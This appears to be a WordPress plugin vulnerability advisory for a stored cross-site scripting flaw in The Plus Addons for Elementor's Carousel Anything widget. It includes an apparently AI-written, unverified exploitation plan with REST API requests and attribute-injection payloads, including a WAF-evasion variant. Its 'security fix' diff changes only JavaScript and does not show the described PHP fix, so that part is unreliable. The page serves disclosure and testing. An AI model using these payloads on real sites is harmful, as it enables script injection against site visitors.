CVE-2026-9243

The Plus Addons for Elementor <= 6.4.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'carousel_direction' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.4.16
Patched in
1d
Time to patch

Description

The Plus Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter of the Carousel Anything widget in versions up to, and including, 6.4.15 This is due to insufficient output escaping in the render() function, where the carousel_direction value is placed into an unquoted HTML attribute (dir=) allowing attribute injection despite the use of esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.15
PublishedMay 28, 2026
Last updatedMay 29, 2026

What Changed in the Fix

Changes introduced in v6.4.16

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9243 ## 1. Vulnerability Summary **CVE-2026-9243** is a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** (versions <= 6.4.15). The vulnerability exists within the **Carousel Anything** widget. Specifically, the `render()` fu…

Show full research plan

Exploitation Research Plan: CVE-2026-9243

1. Vulnerability Summary

CVE-2026-9243 is a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (versions <= 6.4.15). The vulnerability exists within the Carousel Anything widget. Specifically, the render() function in the widget's PHP class (likely located in modules/widgets/tp_carousel_anything.php, inferred) outputs the user-controlled carousel_direction setting into an unquoted HTML dir attribute.

While the developer utilized esc_attr() for the value, the lack of surrounding quotes in the HTML template allows an attacker to use a space character to break out of the dir attribute and inject new HTML attributes (Attribute Injection), leading to JavaScript execution.

2. Attack Vector Analysis

  • Target Plugin: The Plus Addons for Elementor (slug: the-plus-addons-for-elementor-page-builder)
  • Vulnerable Widget: Carousel Anything (internal name: tp-carousel-anything)
  • Vulnerable Parameter: carousel_direction
  • Authentication Level: Contributor+ (any user role with permission to edit posts/pages using Elementor).
  • Preconditions: The plugin must be active, and the attacker must be able to save or update an Elementor-powered post.

3. Code Flow (Inferred)

  1. Input: A user with Contributor+ privileges edits a post via the Elementor builder.
  2. Setting: The user selects the Carousel Anything widget and modifies the "Direction" (which maps to the carousel_direction setting).
  3. Storage: Elementor saves the widget configuration as a JSON-encoded string in the _elementor_data post meta.
  4. Sink (PHP): When the page is rendered, the widget's render() method is called.
    • It retrieves the setting: $direction = $settings['carousel_direction'];
    • It echoes the wrapper: echo '<div class="theplus-carousel-anything-wrapper" dir=' . esc_attr($direction) . ' ...>'; (Note the missing quotes around the dir value).
  5. Execution: Since the attribute is unquoted, a payload like ltr onmouseover=alert(1) results in:
    <div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=alert(1) ...>
    The browser interprets onmouseover as a valid event handler attribute.

4. Nonce Acquisition Strategy

Exploiting Elementor-based vulnerabilities requires an Elementor REST API nonce or the standard WordPress _wpnonce.

For Contributor+ Attackers:

  1. Create Page: The agent should first create a draft or post to use as the target.
    wp post create --post_type=post --post_title="XSS Test" --post_status=draft --post_author=2
    
  2. Access Editor: Navigate to the Elementor editor for that post ID.
    browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor")
  3. Extract Nonce: Use browser_eval to extract the REST API nonce from the Elementor configuration object.
    // JavaScript
    window.elementorConfig?.api?.nonce
    
  4. Extract Rest URL:
    // JavaScript
    window.elementorConfig?.api?.root
    

5. Exploitation Strategy

The goal is to update the _elementor_data for a post to include a tp-carousel-anything widget with a malicious carousel_direction.

Step 1: Payload Construction

The payload needs to be a valid JSON structure for Elementor. The key part is the settings object for the tp-carousel-anything widget.

Payload: ltr onfocus=alert(document.domain) autofocus

Step 2: HTTP Request (Simulating Elementor Save)

Use the http_request tool to send a POST request to the Elementor REST API.

  • URL: http://localhost:8080/wp-json/elementor/v1/pages/POST_ID
  • Method: POST
  • Headers:
    • X-WP-Nonce: [Extracted Nonce]
    • Content-Type: application/json
  • Body:
    {
      "data": [
        {
          "id": "random_id",
          "elType": "section",
          "elements": [
            {
              "id": "random_id_2",
              "elType": "column",
              "elements": [
                {
                  "id": "vulnerable_widget",
                  "elType": "widget",
                  "widgetType": "tp-carousel-anything",
                  "settings": {
                    "carousel_direction": "ltr onmouseover=confirm(1) style=position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
    
    Note: The style attribute expansion ensures the onmouseover is easily triggered by the user.

6. Test Data Setup

  1. Target User: Create a user with the contributor role.
  2. Plugin Setup: Ensure "The Plus Addons for Elementor" is active.
  3. Elementor Setup: Ensure Elementor is active and allowed for the post post type.

7. Expected Results

  • The REST API should return a 200 OK status with the updated post data.
  • When viewing the post (/?p=POST_ID), the source code should contain:
    <div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=confirm(1) ...>
  • Moving the mouse over the page should trigger the confirm(1) alert.

8. Verification Steps

  1. Check Database via WP-CLI:
    wp post meta get POST_ID _elementor_data
    
    Verify that the JSON string contains the onmouseover payload.
  2. Inspect Output via CLI:
    curl -s "http://localhost:8080/?p=POST_ID" | grep "onmouseover=confirm(1)"
    

9. Alternative Approaches

If the dir attribute is not the only unquoted attribute, check other parameters in the render() function of tp_carousel_anything.php.

  • Parameter: carousel_direction
  • Alternate Payload: If onmouseover is blocked by a WAF, try onfocus with autofocus:
    ltr onfocus=alert(1) autofocus
  • JSON Context: If the frontend JS (plus-carousel-anything.js) parses this value from a data-result attribute, the injection might also occur within that JSON-encoded attribute if it is also unquoted.

Refined Path Guess:
Check the-plus-addons-for-elementor-page-builder/modules/widgets/tp_carousel_anything.php for the string: dir=<?php echo esc_attr($settings['carousel_direction']); ?> (without quotes).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Plus Addons for Elementor plugin (<= 6.4.15) is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter in the Carousel Anything widget. Due to insufficient output escaping in the PHP render() function, the parameter value is placed into an unquoted HTML attribute (dir=), allowing authenticated attackers with Contributor-level access to perform attribute injection and execute arbitrary scripts.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.15/assets/js/main/carousel-anything/plus-carousel-anything.js /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.16/assets/js/main/carousel-anything/plus-carousel-anything.js
--- /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.15/assets/js/main/carousel-anything/plus-carousel-anything.js	2026-05-14 04:50:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.16/assets/js/main/carousel-anything/plus-carousel-anything.js	2026-05-22 06:50:36.000000000 +0000
@@ -57,7 +57,8 @@
 								$("#"+connection).find('.info-box-inner[data-slick-index="'+parseInt(nextSlide)+'"]').trigger("hover");
 							}
 							
-							if ( $.isFunction($.fn.plus_infobox_connection) ) {
+							// F-12 fix: $.isFunction removed in jQuery 4. Use typeof.
+							if ( typeof $.fn.plus_infobox_connection === 'function' ) {
 								plus_infobox_connection(parseInt(nextSlide),connection);
 							}						
 							
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.15/assets/js/main/general/plus-slick-carousel.js /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.16/assets/js/main/general/plus-slick-carousel.js
--- /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.15/assets/js/main/general/plus-slick-carousel.js	2026-05-14 04:50:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.16/assets/js/main/general/plus-slick-carousel.js	2026-05-22 06:50:36.000000000 +0000
@@ -46,7 +46,7 @@
 
         var data = $self[0].dataset;
 
-        parsedData = data && data.result ? JSON.parse(data.result) : '';
+        const parsedData = data && data.result ? JSON.parse(data.result) : {};
         var getDIrection = parsedData.carousel_direction,
             rtlVal = false;

Exploit Outline

The exploit targets the 'Carousel Anything' widget. An authenticated attacker with at least Contributor-level privileges can edit a post/page using the Elementor builder and add this widget. By modifying the 'Direction' setting (carousel_direction parameter), the attacker can inject a payload like 'ltr onmouseover=alert(1)'. Because the 'dir=' attribute in the generated HTML wrapper is unquoted, the space allows the browser to interpret 'onmouseover' as a new attribute. The payload is stored in the post's metadata and executes whenever a victim views the page and interacts with the carousel area.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.